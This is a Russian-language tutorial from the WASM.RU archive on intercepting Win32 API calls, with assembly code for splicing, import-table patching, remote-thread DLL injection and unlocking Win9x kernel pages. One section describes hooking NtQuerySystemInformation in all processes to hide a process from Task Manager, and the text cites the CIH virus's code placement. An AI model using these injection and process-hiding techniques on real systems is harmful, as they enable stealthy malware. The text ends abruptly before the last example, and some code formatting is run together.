Система перехвата функций API платформы Win32 — Архив WASM.RU
- 1. Введение
- 2. Перехват вызовов API в системах Windows NT и Windows 9X
- 2.1. Теория
- 2.2. Создание и исполнение удаленного кода
- 2.3. Изменение таблиц импорта
- 2.4. Сплайсинг функций ядра Windows 9X
- 2.5. Методы установки глобальных перехватчиков
- 2.6. Приостановка потоков
- 2.6.1. Получение описателя потока по его идентификатору в Windows 9X
- 2.6.2. Получение описателя потока по его идентификатору в Windows NT
- 2.6.3. Получение описателя потока по его идентификатору в Windows ME/2000/XP
- 3. Приложения. Примеры обработчиков
- Пример N1
- Пример N2
- Пример N3
- Пример N4
Во времена MS DOS ни одна серьезная программа не обходилась без перехватов прерываний - сервисов системы для установки на них своих процедур-обработчиков. Это было совершенно необходимо, например, для обеспечения "псевдо-многозадачности" (pop up), реакции на таймер в режиме реального времени, получения расширенной информации об одновременно нажатых пользователем клавиш и т.п. Установка своих обработчиков могла осуществляться даже без ведома системы, - правда, тогда была вероятность того, что DOS выделит память с находящимся в ней обработчиком для какой- либо программы, что чревато крахом системы. Для мелких резидентов это было не страшно, а большие "защищались" несколькими способами - например, маркированием области как используемой DOS в системных целях (установка маркера 80h). Резиденты могли привести систему в нестабильное состояние. Чтобы этого не случилось, разработчики должны были учитывать очень большое число тонкостей и "подводных камней" ОС и принимать соответствующие меры. К тому же, обработчики прерываний писались чаще всего на ЯА в целях экономии памяти и увеличении скорости работы. Отсюда следует, что качественные резиденты - столь необходимую в программировании под DOS технику - писали только программисты довольно высокой квалификации.
Системы Win32 претендуют на то, что ни один пользовательский процесс не может нарушить либо повлиять на работу другого или вызвать крах системы. Само понятие "резидент" в Win32 теряет свой смысл, так как каждый процесс работает в своем контексте памяти. Поэтому разработчики этих ОС отказались от подобного механизма, оставив только возможность обработки оконных сообщений (возможно, даже чужого процесса). Обработка оконных сообщений - это единственный метод получения информации о действиях пользователя для GUI приложений.
Разработчики Win32, конечно, предоставили сервисы ОС для осуществления того, что в DOS могло быть сделано только путем установки резидента. Часть из них реализована через систему оконных сообщений, часть - через сервисы 3-го кольца (user mode), а остальные - в виде низкоуровневых сервисов, которые могут использоваться только драйверами (kernel mode). То есть, единый в прошлом механизм разделился на совершенно разные по сути подсистемы ОС. Это накладывает большие ограничения на его использование.
К примеру, пользователь NT (Win2k) с привилегиями пользователя или гостя хочет защититься от атак из сети на отказ, нежелательных соединений, либо проверить, не передается ли от него какая-либо информация без его ведома. Это может быть решено путем установки драйвера - сниффера (sniffer) его сетевой карты, то есть персонального файрволла (firewall). Проблема состоит в том, что он не может установить свой драйвер в систему, так как он не имеет администраторских прав. Это ограничение действительно необходимо - ведь в противном случае даже гость может сделать с системой все, что угодно, так как код драйвера исполняется в нулевом кольце. Он, к примеру, может получить администраторские права, покопавшись в коде процесса Winlogon.exe.
Однако эта же задача может быть решена без использования драйверов с практически той же эффективностью.2. Перехват вызовов API в системах Windows NT и Windows 9X
Нельзя утверждать, что адреса функций даже в системных библиотеках (например, Kernel32.dll) не изменяются в зависимости от версии ОС, ее сборки либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая база образа библиотеки (dll preferred imagebase) является константой, которую можно изменять при компиляции. Более того, совсем не обязательно, что dll будет загружена именно по предпочитаемому адресу, - этого может не произойти в результате коллизии с другими модулями, динамически выделенной памятью и т.п. Поэтому статический импорт функций происходит по имени модуля и имени функции (либо ее номера - ординала), предоставляемой этим модулем. Загрузчик PE файла анализирует его таблицу импорта и определяет адреса функций, им импортируемых. В случае, если в таблице импорта указана библиотека, не присутствующая в контексте, происходит ее отображение в требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В результате в требуемом месте определенной секции PE файла (имеющей атрибут "readable") заполняется массив адресов импортируемых функций. В процессе работы каждый модуль обращается к своему массиву для определения точки входа в какую-либо функцию. Отсюда следует, что для перехвата функций в рамках одного контекста с уже инициализированными модулями, работающими потоками можно действовать двумя способами.
Первый состоит в следующем. Определяется адрес нашего обработчика перехватываемой функции, расположенного, к примеру, в загруженной в контекст данного процесса библиотеке. Определяется настоящий адрес функции и производится замещение первых 5 байт ее кода на длинный прыжок к нашему обработчику. Для вызова исходного кода функции обработчик должен восстановить прежние байты кода, сделать вызов функции, и после возвращения управления восстановить опкод JMP в начале функции, иначе наш обработчик никогда не получит управление вновь. Этот метод называется "сплайсингом". Рассмотрим его сильные и слабые стороны.+ Так как исправляется только память модуля, в котором производится перехват, то наш код будет вызываться как в результате вызовов функции как старыми модулями, так и динамически подгружаемыми, так как адрес перехватываемой функции не изменился - произведена лишь "врезка" нескольких байтов. При вызове перехватываемой функции наш код обязательно вызовется.
+ Будут перехватываться вызовы даже внутри обработанного модуля, так как неважно, каким образом точка входа перехватываемой функции получила управление.
+ Становится элементарной деинсталляция нашего обработчика - достаточно восстановить исходные байты.- В системах Win95/98 некоторые системные библиотеки (kernel32, user32 и др.) загружаются в адресное пространство "2Gb, которое проецируется на все контексты, присутствующие в системе. Это усложняет процесс перехвата их функций, так как содержимое памяти свыше 2Gb не может быть изменено стандартными документированными API функциями. Установить разрешение на запись в эту область памяти может функция _PageModifyPermissions, вызывающаяся с помощью kernel32!VxDCall0 и имеющая номер 1000dh. После установки атрибута "writable" на необходимый регион памяти и осуществления записи в него изменения произойдут во всех присутствующих контекстах одновременно. Значит, код нашего обработчика должен располагаться по одинаковым адресам во всех контекстах. Это возможно только если код будет находиться выше 2Gb - этого можно добиться несколькими способами. Вот самые распространенные из них: непосредственное указание требуемого imagebase линкеру динамически загружаемой библиотеки при компиляции ("2Gb); расположение кода в межсекционном пространстве какого-либо модуля, загруженного выше 2Gb; выделение памяти, проецируемой на все контексты (например, из файла подкачки) и копирование туда своего кода. Таким образом, наш обработчик будет получать управление в результате вызова перехватываемой функции в любом контексте. Если же необходимо осуществить перехват функции только в определенном контексте, обработчик должен вызывать GetCurrentProcessId() для получения сведений о вызывателе. Если же перехват сужается до определенного модуля, то кроме идентификации текущего процесса необходим анализ стека для определения вызывающего модуля.
- Если наш обработчик получил управление, восстановил исходные байты и занялся чем-то, то другой поток в этот момент может вызвать настоящую функцию, то есть вызов перехвачен не будет - реентерабельность обработчиков не гарантируется даже при правильной организации кода. Эта проблема в общем случае не имеет решения.Другой метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика.
+ Осуществляется реентерабельность нашего обработчика, так как код перехватываемой функции не изменяется вообще.
+ Становится более гибким выбор модуля/процесса, в котором необходимо осуществить перехват. Тело нашего обработчика может находиться по разным адресам в разных контекстах.- Уже инициализированные модули могут сохранить настоящий адрес функции и впоследствии вызывать именно его, минуя наш обработчик.
- Необходимо каким-то образом распространять наши обработчики на динамически загружаемые модули. Это в свою очередь можно осуществить несколькими способами.
- В модуле, содержащем код перехватываемой функции, изменяется таблица экспорта - точнее, относительный виртуальный адрес (RVA) перехватываемой экспортируемой функции. Загрузчик PE будет указывать эти значения (+imagebase) в таблицы импорта новых модулей. Также функция GetProcAddress будет возвращать адреса наших обработчиков. Этот способ имеет существенный недостаток. Рассмотрим пример: пусть мы перехватываем некоторую функцию из kernel32. Процессом был вызван GetProcAddress(kernel32_base,&kernel_function_name) для получения ее адреса. Так как kernel32 загружен во всех контекстах по одному и тому же адресу, то адрес, возвращенный GPA, можно использовать для вызова функции удаленным кодом. Далее процесс выделяет память, к примеру, в контексте своего дочернего процесса, и после этого копирует удаленный код в эту область памяти. После этого он вызывает CreateRemoteThread для создания удаленного потока. Но так как мы перехватили одну из вызываемых этим потоком функций, то ее адрес больше не принадлежит региону kernel32. Даже если эта функция перехвачена и в дочернем процессе, то нельзя гарантировать однозначность адреса нашего обработчика в обоих контекстах. То есть очень вероятно, что при исполнении удаленного потока возникнет ситуация передачи управления не на наш обработчик - например, на неинициализированную страницу, страницу, не имеющую атрибут "executable" или вообще в чужой код. Любой из этих случаев приведет к GPF и процесс-мишень будет аварийно завершен.
- 2. Во избежание ситуации, описанной выше, нельзя перехватывать функции, часто используемые как начальная точка удаленного потока - LoadLibraryA, LoadLibraryW. Они являются всего лишь переходниками к более мощным функциям - LoadLibraryExA, LoadLibraryExW. Но их перехват не решит проблему, так как переход к ним в kernel32 делается коротким - по относительному смещению, не используя таблицу импорта. Но при более детальном изучении этих функций оказывается, что LoadLibraryExA сводится к LoadLibraryExW, а та, в свою очередь, к недокументированной функции ntdll!LdrLoadDll. Ее перехват необходим для решения двух задач: инсталляции перехвата функций на динамически загружаемые библиотеки и возможности установки обработчиков в цепочку.
2.2. Создание и исполнение удаленного кода
Удаленный код - код, исполняемый вне контекста, изначально его содержащего. Чтение-запись процессом памяти другого осуществляется функциями kernel32!ReadProcessMemory и, соответственно, kernel32!WriteProcessMemory. Синтаксис вызова этих функций идентичен; одним из параметров является хэндл процесса, над которым производится операция - процесс "открывается" для каких-либо (определенных) действий. Производится это функцией kernel32!OpenProcess.
В операционных системах, поддерживающих систему привилегий (NT/Win2k) возможность успешного открытия процесса зависит от текущего уровня привилегий процесса - исполнителя. В частности, функция OpenProcess по отношению к процессу winlogon.exe выполнится только при включенной привилегии SE_DEBUG_PRIVILEGE. Ей в большинстве случаев обладают только администраторы, так как она позволяет манипулировать со всеми без исключения процессами системы, что чревато крахом самой ОС либо ее системы безопасности. Таким образом, возможность чтения-записи памяти чужого процесса ограничена привилегиями пользователя. Так как чтение-запись памяти - краеугольный камень всей идеологии перехватов API, то очевидно, что существует класс задач, невыполнимых пользователем, не имеющим, к примеру, администраторских прав. Однако такой пользователь может применить перехват функций к любому процессу, запущенному (прямо либо косвенно) им самим (CreateProcess и аналоги), что в большинстве случаев и требуется.
Рассмотрим варианты внедрения динамически загружаемой библиотеки в чужой контекст. Как известно, после инициализации dll происходит исполнение ее точки входа (как PE файла) с тремя параметрами. Именно в этой процедуре будет находиться код, осуществляющий перехват функций.
- Использование стандартной функции SetWindowsHookEx. Эта функция устанавливает хук на оконные сообщения. Она предназначена для отслеживания сообщений окон как своего процесса, так и чужого. В этом случае код обработчика должен находиться в dll. Реализация функции в общих чертах такова:
- она проецирует библиотеку на все контексты, которые удовлетворяют следующим условиям: их потоки имеют в текущий момент GUI - окно, принимающее сообщения от пользователя, а их процессы могут быть успешно открыты пользователем функцией OpenProcess с параметром PROCESS_ALL_ACCESS;
- для каждого из таких потоков встраивает требуемый обработчик в цепочку существующих. Наиболее интересным моментом является то, что функция автоматически проецирует библиотеку и на новые GUI процессы - процессы, которых не было в момент ее вызова.
Таким образом, в результате исполнения нижеследующего кода библиотека myhookingdll будет спроецирована на все оговоренные контексты, и все ее копии получат уведомление DLL_PROCESS_ATTACH.
Код (Text):
call LoadLibraryA,offset myhookingdll,0 call GetProcAddress,eax,offset mydummyhook,eax call SetWindowsHookExA,WH_CBT,eax- Использование удаленных потоков. В WinNT и Win2k существуют функции для создания удаленных потоков. Из них документирована одна - kernel32!CreateRemoteThread. В качестве параметров к ней передаются хэндл процесса, в котором будет создан поток, его стартовый адрес (в чужом контексте), аргумент функции потока (ее прототип - DWORD WINAPI ThreadFunc(PVOID pvParam)), начальный размер стэка и другие. Самый простой способ загрузки библиотеки в чужой контекст с использованием CreateRemoteThread - это указать стартовый адрес потока как адрес функции LoadLibraryA (или W) и поместить в качестве параметра указатель на имя библиотеки. Для этого нужно проделать следующие шаги:
- открыть чужой процесс функцией OpenProcess как минимум с флагами PROCESS_CREATE_THREAD | PROCESS_VM_WRITE;
- выделить память в чужом контексте для размещения там имени библиотеки с путем (функцией VirtualAllocEx);
- скопировать туда полное имя библиотеки (функцией WriteProcessMemory);
- узнать адрес функции LoadLibraryA (W);
- выполнить CreateRemoteThread с начальным EIP равным полученному адресу LoadLibrary*;
- закрыть процесс и поток.
Все вышеописанные действия проводит следующий код:
Код (Text):
call OpenProcess,PROCESS_ALL_ACCESS,1,PID xchg eax,ebx call VirtuallAllocEx,ebx,0,mydllnamesize,MEM_COMMIT,\ PAGE_READWRITE,ebx call WriteProcessMemory,ebx,eax,\ offset mydll, mydllnamesize,0,eax,0,0 call GetModuleHandleA,offset kernel32 call GetProcAddress,eax,offset _LoadLibrary call CreateRemoteThread,ebx,0,0,eax call WaitForSingleObject,eax,INFINITE,eax call CloseHandle call CloseHandleКогда компилятор встречает в исходном тексте вызов функции, которая присутствует не в компилируемом исполняемом файле, а в некотором другом - чаще всего, в dll, в простейшем случае он генерирует 'call' на этот символ. Впоследствии линкер исправляет этот псевдовызов на вызов переходника ("stub"), используя библиотеку импорта, содержащую переходники для всех экспортируемых символов в указанных библиотеках. Такие переходники состоят из одной инструкции - 'jmp [x]', где x - адрес двойного слова в таблице импорта PE файла. Эти адреса загрузчик PE файла заполняет корректными значениями при инициализации модуля, опираясь на данные, указанные в таблице импорта.
В более сложных случаях (при непосредственном указании импортируемой функции) компилятор генерирует 'call [x]', минуя переходник. Таблица (директория) импорта должна располагаться в секции, имеющей атрибуты "инициализированные данные" и "читаемая" (IMAGE_SCN_CNT_INITIALIZED_DATA и IMAGE_SCN_MEM_READ). Таблица импорта состоит из массива структур - дескрипторов импорта (IMAGE_IMPORT_DESCRIPTOR), завершающим элементом которого является нулевая структура. Дескриптор импорта выглядит следующим образом:Код (Text):
IMAGE_IMPORT_BY_NAME STRUC IBN_Hint DW ? IBN_Name DB 1 DUP (?) ;длина не фиксирована IMAGE_IMPORT_BY_NAME ENDS IMAGE_THUNK_DATA STRUC UNION TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? TD_Ordinal DD ? TD_Function DD BYTE PTR ? TD_ForwarderString DD BYTE PTR ? ENDS IMAGE_THUNK_DATA ENDS IMAGE_IMPORT_DESCRIPTOR STRUC UNION ID_Characteristics DD ? ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ENDS ID_TimeDateStamp DD ? ID_ForwarderChain DD ? ID_Name DD BYTE PTR ? ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? IMAGE_IMPORT_DESCRIPTOR ENDSID_OriginalFirstThunk и ID_FirstThunk содержат относительные виртуальные адреса (RVA) структур IMAGE_THUNK_DATA, описывающие импортируемые функции.
ID_TimeDateStamp содержит предполагаемый "штамп времени" модуля-экспортера и используется при технике линковки "bound imports". Если импорты не связаны, то значение этого поля =0.
ID_ForwarderChain содержит RVA первого форварда в списке импортируемых функций. Если форварды отсутствуют, то значение этого поля =-1. ID_Name содержит RVA имени импортируемого модуля.
Массивы ID_OriginalFirstThunk и ID_FirstThunk идут параллельно. Два массива необходимо для сохранения информации о импортируемых функциях - массив ID_OriginalFirstThunk загрузчиком изменен не будет, а массив ID_FirstThunk будет заполнен адресами требуемых функций (RVA имен функций уничтожатся).Модуль может экспортировать функции, реализация которых в нем не присутствует, а лишь импортируется из другого модуля. Этот прием называется "форвардинг функций". Его можно проиллюстрировать на примере wsock32.dll. Эта библиотека экспортирует множество функций, часть из которых есть переходники к функциям ws2_32.dll, а часть просто отсутствует в модуле: при импорте отсутствующей, но экпортируемой функции из wsock32, загрузчик, анализируя форварды wsock32, обнаруживает, что он должен экспортировать эту функцию из другого модуля - в частности, из ws2_32.dll.
Смысл перехвата функций методом исправления таблицы импорта состоит в следующем:
- определяется адрес перехватываемой функции;
- исходя из данных PE заголовка модуля-жертвы вычисляется адрес его таблицы импорта;
- среди дескрипторов импорта ищется тот, который описывает импорты из модуля, содержащего реализацию перехватываемой функции;
- перебираются все структуры IMAGE_THUNK_DATA, начиная с RVA=ID_FirstThunk найденного дескриптора в поисках полей TD_Function, содержащих адрес перехватываемой функции;
- найденные адреса заменяются адресом обработчика перехваченной функции.
Код функции, осуществляющей вышеперечисленные шаги, может выглядеть так (форвардинг функций не учитывается):
Код (Text):
hook_api proc modbase:dword,modname:dword,\ procname:dword,hook_proc:dword local oldproc:dword local dummy:dword pushad @SEH_SetupFrame "jmp bad_exit" call IsBadCodePtr,hook_proc ; проверка корректности ; вызова test eax,eax jnz bad_exit push procname ; шаг 1 - узнаем ; адрес call GetModuleHandleA,modname ; перехватываемой ; функции call [realGetProcAddress],eax test eax,eax mov oldproc,eax jz bad_exit mov edi,modbase call IsBadReadPtr,edi,40h test eax,eax jnz bad_exit cmp word ptr [edi],'ZM' jnz bad_exit mov ebx,[edi.MZ_lfanew] push 0F8h add ebx,edi call IsBadReadPtr,ebx test eax,eax jnz bad_exit cmp dword ptr [ebx],'EP' jnz bad_exit mov esi,[ebx.NT_OptionalHeader\ ; шаг 2: получение .OH_DirectoryEntries\; адреса .DE_Import\ ; таблицы импорта .DD_VirtualAddress] or esi,esi jz bad_exit add esi,edi cmp esi,ebx jz bad_exit stc mov eax,[esi.ID_Name] test eax,eax jz no_imps next_imp_desc: ; шаг ь4: перебираем ; дескрипторы импорта push esi push edi nxtchar__: call patchthisidesk pop edi pop esi mov eax,[(esi\ +IMAGE_SIZEOF_IMPORT_DESCRIPTOR).ID_Name] add esi, IMAGE_SIZEOF_IMPORT_DESCRIPTOR test eax,eax jnz next_imp_desc no_imps: popad xor eax,eax jc simpleret mov eax,oldproc simpleret: @SEH_RemoveFrame ret bad_exit: @SEH_RemoveFrame popad xor eax,eax stc ret bad_exit4proc: pop eax jmp mismatch patchthisidesk: ; шаг ь3: ищем вход add esi,0ch ; перехватываемой call IsBadReadPtr,esi,8 ; функции в данном ; дескрипторе импорта sub esi,0ch test eax,eax jnz bad_exit4proc mov eax,[esi.ID_Name] test eax,eax jz bad_exit4proc mov esi,[esi.ID_FirstThunk] add esi,edi call IsBadReadPtr,esi,4 test eax,eax jnz bad_exit4proc mov eax,[esi] test eax,eax jz bad_exit4proc mov edi,oldproc next_thunk: cmp eax,edi jnz next_thunk__ call VirtualProtect,esi,1000h,4,offset dummy,esi pop esi mov eax,hook_proc mov [esi],eax ; шаг ь5: заменим адрес ; на свой clc next_thunk__: mov eax,[esi+4] ; проверим TD_Function ; следующего блока на 0 add esi,4 test eax,eax jnz next_thunk db 0c3h;ret hook_api endp2.4. Сплайсинг функций ядра Windows 9X
В Win9x, в отличие от WinNT/Win2k, память, начиная с 2Gb, спроецирована на все контексты, присутствующие в системе, то есть ее содержимое одинаково для всех процессов. В этом регионе памяти находятся модули ядра, объекты ядра и пользовательские объекты, доступные всем контекстам - проекции файлов. Документированный Windows API не предоставляет средств для внесения изменений в память "2Gb. VirtualProtect + WriteProcessMemory завершается неудачно. Дж. Рихтер в своей книге "Programming Applications for Microsoft Windows" так поясняет эту ситуацию: "On Windows 98, the main Windows DLLs (Kernel32, AdvAPI32, User32, and GDI32) are protected in such a way that an application cannot overwrite their code pages. You can get around this by writing a virtual device driver (VxD)". Однако эту проблему можно решить и без написания собственного VxD. Достаточно вызвать VxDCall0 _PageModifyPermissions. VxDCall0 - это всегда первая экспортируемая Kernel32.dll функция. Нижеследующий код разрешит на чтение/запись первую страницу kernel32 (идея впервые описана Vecna).
Код (Text):
call GetModuleHandleA,offset kernel32 mov ebx,eax mov eax,[ebx.MZ_lfanew] lea edi,[eax.ebx] mov esi,[edi.NT_OptionalHeader.\ OH_DirectoryEntries.DE_Export.\ DD_VirtualAddress] mov esi,[esi.ebx.ED_AddressOfFunctions] mov ecx,[esi.ebx] add ecx,ebx ;ecx==VxDCall0 shr ebx,12 push 020060000h push 00h push 01h push ebx push 001000dh ;_PageModifyPermissions call ecxНадо учитывать спроецированность памяти "2Gb, ведь если некоторый регион будет разрешен для записи, а потом его память будет изменена, то эти изменения произойдут одновременно во всех контекстах. Таким образом, если удастся изменить ядро для передачи управления некоторых функций другим обработчикам, расположенным в памяти "2Gb (память пользовательского процесса), то при вызове перехваченной функции процессом другого контекста произойдет сбой - по указанному адресу не окажется соответствующего кода обработчика. Следовательно, код глобальных обработчиков функций ядра необходимо располагать также в памяти "2Gb. Код в памяти "2Gb можно расположить несколькими способами. Если размер кода небольшой, то его можно уместить в межсекционное пространство какого-либо модуля ядра (размер кода не больше разницы между физической и виртуальной длиной секции PE модуля). Следующий код пытается найти удовлетворяющее этому требованию место в регионе, занятом kernel32 и, в случае успеха, копирует в найденное пространство код обработчика.
Код (Text):
call GetModuleHandle,offset kernel32 mov ebx,eax mov eax,[ebx.MZ_lfanew] movzx ecx,word ptr [eax.ebx.NT_FileHeader.\ FH_NumberOfSections] lea esi,[eax.ebx+SIZE IMAGE_NT_HEADERS] try_next_section: mov eax,[esi.SH_Characteristics] and eax,IMAGE_SCN_MEM_WRITE\ +IMAGE_SCN_MEM_READ\ +IMAGE_SCN_CNT_INITIALIZED_DATA cmp eax,IMAGE_SCN_MEM_WRITE\ +IMAGE_SCN_MEM_READ\ +IMAGE_SCN_CNT_INITIALIZED_DATA jne next_section mov eax,[esi.SH_SizeOfRawData] mov edi,[esi.SH_VirtualSize] sub eax,edi cmp eax,CODE_SIZE jb next_section add edi,[esi.SH_VirtualAddress] add edi,ebx jmp copy_code next_section: add esi,IMAGE_SIZEOF_SECTION_HEADER loop try_next_section jmp section_not_found copy_code: mov esi,offset IMPLANT_CODE mov ecx,CODE_SIZE cld rep movsb ;скопировать код в найденное пр-воПлюс этого метода в том, что процесс, осуществивший запись в межсекционное пространство, никак не связан с этой памятью. Он может быть закрыт, и память не будет освобождена.
Однако чаще всего свободной памяти, найденной таким путем, не хватает. В таком случае можно "разбросать" части своего обработчика по всем межсекционным пространствам модулей, загруженным выше 2Gb, а потом "склеивать" части обработчика на лету. Этот метод используется, к примеру, в вирусе Win9X.CIH (он распределяет свой код в межсекционном пространстве зараженного модуля - при этом физический размер модуля на диске не изменяется). Таким способом можно размещать обработчики размером не больше 10kb. Понятно, что любой серьезный проект будет превышать этот предел.
Существует более простой и надежный метод выделения памяти >2Gb. Можно выделить память под объект - проекцию файла, например, из своп-файла. Содержимое подобного объекта будет расположено системой >2Gb, все выделенные страницы могут быть помечены атрибутом "исполняемые".Код (Text):
call CreateFileMappingA,0ffffffffh,NULL,\ PAGE_READWRITE,0,IMPLANT_SIZE,0 call MapViewOfFile,eax,FILE_MAP_WRITE+\ SECTION_MAP_EXECUTE,0,0,IMPLANT_SIZE mov edi,eax mov esi,offset IMPLANT mov ecx,IMPLANT_SIZE cld rep movsbС помощью этого метода можно выделить память сколь угодно большого размера, но она будет иметь хозяина - процесс, ее выделивший. Поэтому если процесс, установивший глобальный обработчик в память "2Gb завершится, то память, им аллоцированная, освободится; любой вызов в ядре, приводящий к передаче управления на эту память в лучшем случае приведет к аварийному завершению процесса, чей поток совершил "незаконное" действие, а в худшем - к краху системы. Следовательно, глобальный перехватчик функция ядра не должен завершиться.
Общим недостатком этих методов является неопределенность базового адреса копируемого кода. В любом случае, очевидно, что базовый адрес, указанный линковщиком при компиляции модуля - перехватчика, не совпадет с его истинной базой в памяти. Также возникает вопрос о вызовах API функций таким обработчиком - таблица импорта отсутствует.
Самое простое решение первой проблемы состоит в применении техники базонезависимого кода. Идея в том, что в самом коде хранятся лишь относительные адреса данных. При инициализации кода он определяет свою базу и, прибавляя ее к относительным адресам, вычисляет абсолютные адреса данных. Код на ЯВУ не может быть базонезависимым в силу негибкости компиляторов (уточнение: может, но только в случае неиспользования им глобальных меток)Пример базонезависимого кода:
Код (Text):
call delta delta: pop ebp sub ebp,offset delta-code_start lea esi,[ebp+(offset _data-code_start)] ... _data db 'Text',0Рассмотрим решение второй проблемы применительно к функциям ядра. Так как модули ядра присутствуют во всех контекстах по одному и тому же адресу, то для вызовов их функций из обработчиков достаточно построить в них переходники, а необходимые адреса функций в них будут записываться еще до копирования кода обработчика в регион >2Gb. Типичный код переходника и кода, его заполняющего, выглядит так:
Код (Text):
; код в секции кода процесса-перехватчика call GetModuleHandleA,offset user32 call GetProcAddress,eax,offset msgboxa mov msgboxa_,eax ... ; код в секции данных процесса-перехватчика: ; он будет скопирован в память >2Gb _MessageBoxA:mov eax,12345678h org $-4 msgboxa_ dd 0 jmp eaxИспользуя вышеприведенную технику, вызов функций ядра становится тривиальным.
Код (Text):
mov eax,[ebp+(offset _uType-code_start)] push eax lea eax,[ebp+(offset _caption-code_start)] push eax lea eax,[ebp+(offset _text-code_start)] push eax mov eax,[ebp+(offset _hWnd-code_start)] push eax call _MessageBoxAНо как быть в случае, когда необходимо вызвать функцию из библиотеки, расположенной ниже 2Gb? В разных контекстах она может быть загружена (если загружена) в результате коллизий по разным адресам - следовательно, ее адрес нельзя заранее записать в переходник. В этом случае сначала нужно определить адрес библиотеки в текущем контексте (если библиотека туда не загружена, загрузить ее), а затем найти адрес требуемой функции.
Для надежности не следует сразу пользоваться функциями LoadLibrary*, т.к. если библиотека уже находилась в контексте, то эта операция инкрементирует ее счетчик использования. Если окажется так, что эта dll была загружена в контекст единственный раз, то процесс-хозяин, выполнив FreeLibrary, должен был бы выгрузить ее, но в результате непредусмотренного вызова LoadLibrary* FreeLibrary лишь декрементирует ее счетчик, и может нарушиться логика выполнения программы-хозяина. Таким образом, для более "невидимого" вмешательства в чужой процесс необходимо сначала проверить присутствие требуемого модуля функцией kernel32!GetModuleHandle, и только в случае его отстутствия воспользоваться LoadLibrary* (после выполнения функций dll следует выгрузить с помощью FreeLibrary по тем же причинам).Код (Text):
lea ebx,[ebp+(offset ws2_32-offset code_start)] call _GetModuleHandleA,ebx push ebp xor ebp,ebp or eax,eax jnz dllloaded call _LoadLibrary,ebx mov ebp,eax dllloaded: lea ecx,[ebp+(offset clsock-offset code_start)] call _GetProcAddress,ebx,ecx mov ecx,[ebp+(offset hSocket-offset code_start)] call eax,ecx call _FreeLibrary,ebp ; пройдет успешно, если pop ebp ; dll загрузили мыИтак, любая память доступна нам для чтения/записи, наш код может выполняться корректно вне зависимости от его базы и вызывать любые API функции. Теперь можно приступить к исправлению кода функций ядра для передачи управления нашему обработчику.
Ebp указывает на начало найденной памяти. Для начала сохраним первые 5 байт перехватываемой функции.Код (Text):
call GetProcAddress,ebx,offset lla mov edi,eax lea esi,[ebp+(offset lla_code-offset code_start)] push edi xchg esi,edi movsb movsd <pre></blockquote> <p> Затем изменим флаг разрешения записи атрибута страницы, содержащей начало перехватываемой функции, на истину. <blockquote><pre> mov eax,[esp] pushad shr eax,12 push 020060000h push 00h push 01h push eax push 001000dh ;_PageModifyPermissions mov eax,[vxdcall0] call eax popad pop ediПостроим 5-байтовый JMP в начале функции.
Код (Text):
mov al,0e9h stosb stosd ;прибавим 4 к edi lea eax,[ebp+(offset lla_entry-offset code_start)] sub eax,edi mov [edi-4],eaxПри таком методе организации сплайсинга обработчик перехваченной функции может выгдядеть так (синтаксис функции - 1 двойное слово):
Код (Text):
lla_entry: call swap_lla push dword ptr [esp+4] call _lla ;вызов настоящей функции call swap_lla ... ;какие-то действия ret 4 _lla: mov eax,12345678h org $-4 lla_ dd 0 jmp eax swap_lla: push esi edi ebp call delta delta: pop ebp sub ebp,offset delta-code_start lea esi,[ebp+(offset lla_code-code_start)] mov edi,[ebp+(offset lla_-code_start)] push eax mov eax,[edi] xchg [esi],eax mov [edi],eax mov al,[edi+4] xchg [esi+4],al mov [edi+4],al pop ebp edi esi ret2.5. Методы установки глобальных перехватчиков
Часто бывает необходимо перехватить какую-либо функцию глобально, т.е. во всех текущих процессах сразу. К примеру, для достижения невидимости в NT/w2k через функцию ntdll!NtQuerySystemInformation процесс-"призрак" должен перебрать все остальные процессы и распространить свои обработчики на каждый их них. Кроме этого, процесс должен позаботиться и о новых процессах - тех, которые будут созданы после инсталляции его обработчика NtQuerySystemInformation. Это непростая задача, так как процесс может быть запущен множеством способов: shell32!ShellExecute*, kernel32!CreateProcess*, ntdll!NtCreateProcess и другими. Большинство из них сводится к NtCreateProcess. Также возникает проблема - процесс с привилегиями гостя не может изменить память контекста, работающего с привилегиями System или Local Administrator - например, Winlogon.exe, а именно он запускает самый популярный менеджер задач для NT/w2k/XP: taskmgr.exe (с помошью функции msgina!WlxStartApplication). Таким образом, на Winlogon.exe обработчик NtCreateProcess распространить не удастся, и при нажатии пользователем ctrl-shift-esc запущенный taskmgr "увидит" спрятанный процесс.
Эта проблема кажется неразрешимой. Однако спасает положение от факт, что taskmgr - GUI приложение, а, следовательно, установив глобальный хук сообщений - к примеру, типа WH_CBT - наш модуль автоматически будет добавлен к taskmgr.exe и проинициализирован с причиной DLL_PROCESS_ATTACH еще до того, как главный модуль taskmgr получит управление.
Первая проблема может быть решена следующим образом. Перехватим ntdll!NtCreateThread и ntdll!CsrClientCallServer. Процесс не имеет своего идентификатора до создания первого потока, и если в обрабочике NtCreateThread мы видим такую ситуацию:
- процесс-хозяин не имеет идентификатора;
- создающийся поток приостановлен;
- после создания потока процесс получает идентификатор, то это есть создание нового процесса. В этом случае запоминаем его идентификатор и ждем вызова CsrClientCallServer с командой 10000h - инициализация процесса. Затем проверяем, был ли ранее запомнен идентификатор. Если да, то после вызова настоящего CsrClientCallServer процесс готов к применению к нему наших обработчиков.
Код обработчиков NtCreateThread и CsrClientCallServer может выглядеть так:
Код (Text):
